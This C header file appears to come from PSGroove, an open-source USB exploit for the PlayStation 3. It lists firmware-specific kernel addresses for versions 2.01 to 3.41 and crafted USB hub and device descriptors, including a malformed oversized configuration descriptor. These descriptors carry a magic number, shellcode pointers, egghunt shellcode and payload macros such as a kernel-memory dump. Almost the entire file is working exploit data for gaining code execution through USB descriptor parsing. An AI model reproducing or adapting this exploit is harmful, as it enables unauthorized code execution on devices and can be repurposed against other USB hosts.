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descriptor.h
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/*
PSGroove Exploit
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "PL3/config.h"
#include "PL3/shellcode_egghunt.h"
#define MAGIC_NUMBER 0x505347726f6f7665
#if defined (FIRMWARE_3_41)
#define RTOC_TABLE 0x800000000033e720
#elif defined (FIRMWARE_3_41_KIOSK)
#define RTOC_TABLE 0x800000000033e720
#elif defined (FIRMWARE_3_40)
#define RTOC_TABLE 0x800000000033e720
#elif defined (FIRMWARE_3_30)
#define RTOC_TABLE 0x800000000033dbc0
#elif defined (FIRMWARE_3_21)
#define RTOC_TABLE 0x800000000033da90
#elif defined (FIRMWARE_3_15)
#define RTOC_TABLE 0x800000000033da10
#elif defined (FIRMWARE_3_10)
#define RTOC_TABLE 0x800000000033da10
#elif defined (FIRMWARE_3_01)
#define RTOC_TABLE 0x8000000000320640
#elif defined (FIRMWARE_2_76)
#define RTOC_TABLE 0x8000000000313e70
#elif defined (FIRMWARE_2_70)
#define RTOC_TABLE 0x8000000000313e70
#elif defined (FIRMWARE_2_60)
#define RTOC_TABLE 0x8000000000304f60
#elif defined (FIRMWARE_2_53)
#define RTOC_TABLE 0x80000000003042a0
#elif defined (FIRMWARE_2_52)
#define RTOC_TABLE 0x8000000000304220
#elif defined (FIRMWARE_2_50)
#define RTOC_TABLE 0x80000000003041a0
#elif defined (FIRMWARE_2_43)
#define RTOC_TABLE 0x800000000031ff40
#elif defined (FIRMWARE_2_42)
#define RTOC_TABLE 0x800000000031f660
#elif defined (FIRMWARE_2_41)
#define RTOC_TABLE 0x800000000031f660
#elif defined (FIRMWARE_2_40)
#define RTOC_TABLE 0x800000000031f660
#elif defined (FIRMWARE_2_36)
#define RTOC_TABLE 0x80000000003a4ed0
#elif defined (FIRMWARE_2_35)
#define RTOC_TABLE 0x80000000003a4ed0
#elif defined (FIRMWARE_2_30)
#define RTOC_TABLE 0x80000000003a4ed0
#elif defined (FIRMWARE_2_20)
#define RTOC_TABLE 0x80000000003a4ed0
#elif defined (FIRMWARE_2_17)
#define RTOC_TABLE 0x80000000003afcb0
#elif defined (FIRMWARE_2_16)
#define RTOC_TABLE 0x80000000003aff00
#elif defined (FIRMWARE_2_10)
#define RTOC_TABLE 0x80000000003aff00
#elif defined (FIRMWARE_2_01)
#define RTOC_TABLE 0x80000000003aa860
#else
#error You must specify the target firmware. Define a supported FIRMWARE_X_YZ in Makefile
#endif /* FIRMWARE_X_YZ */
#ifdef USE_JIG
#define default_shellcode shellcode_egghunt
#define default_shellcode_macro shellcode_egghunt_macro
#define PAYLOAD_FW_DEPENDENT
#define PAYLOAD payload_dev
#if defined (FIRMWARE_3_41)
#define FIRMWARE 3_41
#define SHELLCODE_ADDR_BASE 0x80000000003dee70
#elif defined (FIRMWARE_3_41_KIOSK)
#define FIRMWARE 3_41_kiosk
#define SHELLCODE_ADDR_BASE 0x80000000003dee70
#elif defined (FIRMWARE_3_40)
#define FIRMWARE 3_40
#define SHELLCODE_ADDR_BASE 0x80000000003dee70
#elif defined (FIRMWARE_3_30)
#define FIRMWARE 3_30
#define SHELLCODE_ADDR_BASE 0x80000000003dde70
#elif defined (FIRMWARE_3_21)
#define FIRMWARE 3_21
#define SHELLCODE_ADDR_BASE 0x80000000003dde30
#elif defined (FIRMWARE_3_15)
#define FIRMWARE 3_15
#define SHELLCODE_ADDR_BASE 0x80000000003dde30
#elif defined (FIRMWARE_3_10)
#define FIRMWARE 3_10
#define SHELLCODE_ADDR_BASE 0x80000000003dde30
#elif defined (FIRMWARE_3_01)
#define FIRMWARE 3_01
#define SHELLCODE_ADDR_BASE 0x80000000003bfbc8
#elif defined (FIRMWARE_2_76)
#define FIRMWARE 2_76
#define SHELLCODE_ADDR_BASE 0x80000000003b1bc8
#elif defined (FIRMWARE_2_70)
#define FIRMWARE 2_70
#define SHELLCODE_ADDR_BASE 0x80000000003b1bc8
#elif defined (FIRMWARE_2_60)
#define FIRMWARE 2_60
#define SHELLCODE_ADDR_BASE 0x80000000003a2ba8
#elif defined (FIRMWARE_2_53)
#define FIRMWARE 2_53
#define SHELLCODE_ADDR_BASE 0x80000000003a2ba8
#elif defined (FIRMWARE_2_52)
#define FIRMWARE 2_52
#define SHELLCODE_ADDR_BASE 0x80000000003a1ba8
#elif defined (FIRMWARE_2_50)
#define FIRMWARE 2_50
#define SHELLCODE_ADDR_BASE 0x80000000003a1ba8
#elif defined (FIRMWARE_2_43)
#define FIRMWARE 2_43
#define SHELLCODE_ADDR_BASE 0x80000000003beba8
#elif defined (FIRMWARE_2_42)
#define FIRMWARE 2_42
#define SHELLCODE_ADDR_BASE 0x80000000003beba8
#elif defined (FIRMWARE_2_41)
#define FIRMWARE 2_41
#define SHELLCODE_ADDR_BASE 0x80000000003beba8
#elif defined (FIRMWARE_2_40)
#define FIRMWARE 2_40
#define SHELLCODE_ADDR_BASE 0x80000000003beba8
#elif defined (FIRMWARE_2_36)
#define FIRMWARE 2_36
#define SHELLCODE_ADDR_BASE 0x8000000000476cf8
#elif defined (FIRMWARE_2_35)
#define FIRMWARE 2_35
#define SHELLCODE_ADDR_BASE 0x8000000000476cf8
#elif defined (FIRMWARE_2_30)
#define FIRMWARE 2_30
#define SHELLCODE_ADDR_BASE 0x8000000000476cf8
#elif defined (FIRMWARE_2_20)
#define FIRMWARE 2_20
#define SHELLCODE_ADDR_BASE 0x8000000000476cf8
#elif defined (FIRMWARE_2_17)
#define FIRMWARE 2_17
#define SHELLCODE_ADDR_BASE 0x8000000000482c68
#elif defined (FIRMWARE_2_16)
#define FIRMWARE 2_16
#define SHELLCODE_ADDR_BASE 0x8000000000482c68
#elif defined (FIRMWARE_2_10)
#define FIRMWARE 2_10
#define SHELLCODE_ADDR_BASE 0x8000000000482c68
#elif defined (FIRMWARE_2_01)
#define FIRMWARE 2_01
#define SHELLCODE_ADDR_BASE 0x800000000047cc50
#endif /* FIRMWARE_X_YZ */
#define SHELLCODE_PAGE 0x8000000000400000
#define SHELLCODE_DESTINATION SHELLCODE_ADDR_BASE
#define SHELLCODE_PTR SHELLCODE_ADDR_BASE + 0x08
#define SHELLCODE_ADDRESS SHELLCODE_ADDR_BASE + 0x18
#define PORT1_NUM_CONFIGS 4
#else /* USE_JIG */
#define default_shellcode shellcode_egghunt
#define default_shellcode_macro shellcode_egghunt_macro
#define PAYLOAD dump_lv2
#define SHELLCODE_ADDR_BASE 0x80000000004e0000
#define SHELLCODE_PAGE SHELLCODE_ADDR_BASE
#define SHELLCODE_DESTINATION SHELLCODE_ADDR_BASE + 0x20
#define SHELLCODE_PTR SHELLCODE_ADDR_BASE + 0x28
#define SHELLCODE_ADDRESS SHELLCODE_ADDR_BASE + 0x38
#define PORT1_NUM_CONFIGS 100
#endif /* USE_JIG */
#ifdef PAYLOAD_FW_DEPENDENT
# define PAYLOAD_INCLUDE_(payload, firmware) <PL3/payload##_##firmware.h>
# define PAYLOAD_INCLUDE(payload, firmware) PAYLOAD_INCLUDE_(payload, firmware)
# define default_payload_macro__(payload, firmware) payload##_##firmware##_macro
# define default_payload_macro_(payload, firmware) \
default_payload_macro__(payload, firmware)
# include PAYLOAD_INCLUDE(PAYLOAD, FIRMWARE)
# define default_payload_macro default_payload_macro_(PAYLOAD, FIRMWARE)
#else
# define PAYLOAD_INCLUDE_(payload) <PL3/payload.h>
# define PAYLOAD_INCLUDE(payload) PAYLOAD_INCLUDE_(payload)
# define default_payload_macro__(payload) payload##_macro
# define default_payload_macro_(payload) default_payload_macro__(payload)
# include PAYLOAD_INCLUDE(PAYLOAD)
# define default_payload_macro default_payload_macro_(PAYLOAD)
#endif
#define SPLIT64_TO8(arg_) \
(uint8_t)(((arg_) >> 8 * 7) & 0xff), \
(uint8_t)(((arg_) >> 8 * 6) & 0xff), \
(uint8_t)(((arg_) >> 8 * 5) & 0xff), \
(uint8_t)(((arg_) >> 8 * 4) & 0xff), \
(uint8_t)(((arg_) >> 8 * 3) & 0xff), \
(uint8_t)(((arg_) >> 8 * 2) & 0xff), \
(uint8_t)(((arg_) >> 8 * 1) & 0xff), \
(uint8_t)(((arg_) >> 8 * 0) & 0xff)
#define PORT1_DESC_LEN 0x1000
#define PORT1_DESC_LEN_HI ((PORT1_DESC_LEN >> 8) & 0xFF)
#define PORT1_DESC_LEN_LO (PORT1_DESC_LEN & 0xFF)
#define PORT3_DESC_LEN 0xa4d
#define PORT3_DESC_LEN_HI ((PORT3_DESC_LEN >> 8) & 0xFF)
#define PORT3_DESC_LEN_LO (PORT3_DESC_LEN & 0xFF)
const uint8_t PROGMEM jig_response[64] = {
SPLIT64_TO8(SHELLCODE_PTR),
SPLIT64_TO8(SHELLCODE_ADDRESS),
SPLIT64_TO8(RTOC_TABLE),
default_shellcode_macro,
};
const uint8_t PROGMEM HUB_Device_Descriptor[] = {
0x12, 0x01, 0x00, 0x02, 0x09, 0x00, 0x01, 0x08,
0xAA, 0xAA, 0xCC, 0xCC, 0x00, 0x01, 0x00, 0x00,
0x00, 0x01,
};
const uint8_t PROGMEM HUB_Config_Descriptor[] = {
// Config
0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x00, 0xe0,
0x32,
// Interface
0x09, 0x04, 0x00, 0x00, 0x01, 0x09, 0x00, 0x00,
0x00,
// Endpoint (interrupt in)
0x07, 0x05, 0x81, 0x03, 0x01, 0x00, 0x0c,
};
const uint8_t PROGMEM HUB_Hub_Descriptor[] = {
0x09, 0x29, 0x06, 0xa9, 0x00, 0x05, 0x64, 0x00,
0xff,
};
const uint8_t PROGMEM port1_device_descriptor[] = {
0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08,
0xAA, 0xAA, 0x55, 0x55, 0x00, 0x00, 0x00, 0x00,
0x00, PORT1_NUM_CONFIGS,
};
const uint8_t PROGMEM port1_short_config_descriptor[] = {
0x09, 0x02, PORT1_DESC_LEN_LO, PORT1_DESC_LEN_HI, 0x01, 0x00, 0x00, 0x80,
0xfa,
};
const uint8_t PROGMEM port1_config_descriptor[] = {
0x09, 0x02, 0x12, 0x00, 0x01, 0x00, 0x00, 0x80, 0xfa,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
SPLIT64_TO8(MAGIC_NUMBER),
#ifndef USE_JIG
SPLIT64_TO8(SHELLCODE_PTR),
SPLIT64_TO8(SHELLCODE_ADDRESS),
SPLIT64_TO8(RTOC_TABLE),
#endif
default_payload_macro,
};
const uint8_t PROGMEM port2_device_descriptor[] = {
0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08,
0xAA, 0xAA, 0xBB, 0xBB, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01,
};
const uint8_t PROGMEM port2_config_descriptor[] = {
// config
0x09, 0x02, 0x16, 0x00, 0x01, 0x01, 0x00, 0x80,
0x01,
// interface
0x09, 0x04, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x02,
0x00,
// extra
0x04, 0x21, 0xb4, 0x2f,
};
const uint8_t PROGMEM port3_device_descriptor[] = {
0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08,
0xAA, 0xAA, 0x55, 0x55, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02,
};
const uint8_t PROGMEM port3_config_descriptor[] = {
0x09, 0x02, 0x4d, 0x0a, 0x01, 0x01, 0x00, 0x80, 0x01,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
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0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00, 0x09, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x02, 0x00, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x00, 0xfe, 0x01, 0x02, 0x00,
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02,
};
const uint8_t PROGMEM port4_device_descriptor[] = {
0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08,
0xAA, 0xAA, 0x55, 0x55, 0x00, 0x00, 0x00, 0x00,
0x00, 0x03,
};
const uint8_t PROGMEM port4_config_descriptor_1[] = {
// config
0x09, 0x02, 0x12, 0x00, 0x01, 0x01, 0x00, 0x80,
0x01,
// interface
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02,
0x00,
};
const uint8_t PROGMEM port4_short_config_descriptor_2[] = {
// config
0x09, 0x02, 0x12, 0x00, 0x01, 0x01, 0x00, 0x80,
};
const uint8_t PROGMEM port4_config_descriptor_2[] = {
// config
0x09, 0x02, 0x00, 0x00, 0x01, 0x01, 0x00, 0x80,
0x01,
// interface
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02,
0x00,
};
const uint8_t PROGMEM port4_config_descriptor_3[] = {
0x09, 0x02, 0x30, 0x00, 0x01, 0x01, 0x00, 0x80, 0x01, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01,
0x02, 0x00, 0x3e, 0x21, 0x00, 0x00, 0x00, 0x00,
SPLIT64_TO8(MAGIC_NUMBER), /* magic number to look for in the start of the page */
SPLIT64_TO8(SHELLCODE_PAGE), /* Initial data search ptr */
SPLIT64_TO8(SHELLCODE_DESTINATION), /* destination ptr for heap structure (jig response) */
};
const uint8_t PROGMEM port5_device_descriptor[] = {
0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08,
0x4c, 0x05, 0xeb, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01,
};
const uint8_t PROGMEM port5_config_descriptor[] = {
// config
0x09, 0x02, 0x20, 0x00, 0x01, 0x00, 0x00, 0x80,
0x01,
// interface
0x09, 0x04, 0x00, 0x00, 0x02, 0xff, 0x00, 0x00,
0x00,
// endpoint
0x07, 0x05, 0x02, 0x02, 0x08, 0x00, 0x00,
// endpoint
0x07, 0x05, 0x81, 0x02, 0x08, 0x00, 0x00,
};
const uint8_t PROGMEM port6_device_descriptor[] = {
0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08,
0xaa, 0xaa, 0xc0, 0xde, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01,
};
const uint8_t PROGMEM port6_config_descriptor[] = {
// config
0x09, 0x02, 0x12, 0x00, 0x01, 0x01, 0x00, 0x80,
0x01,
// interface
0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02,
0x00,
};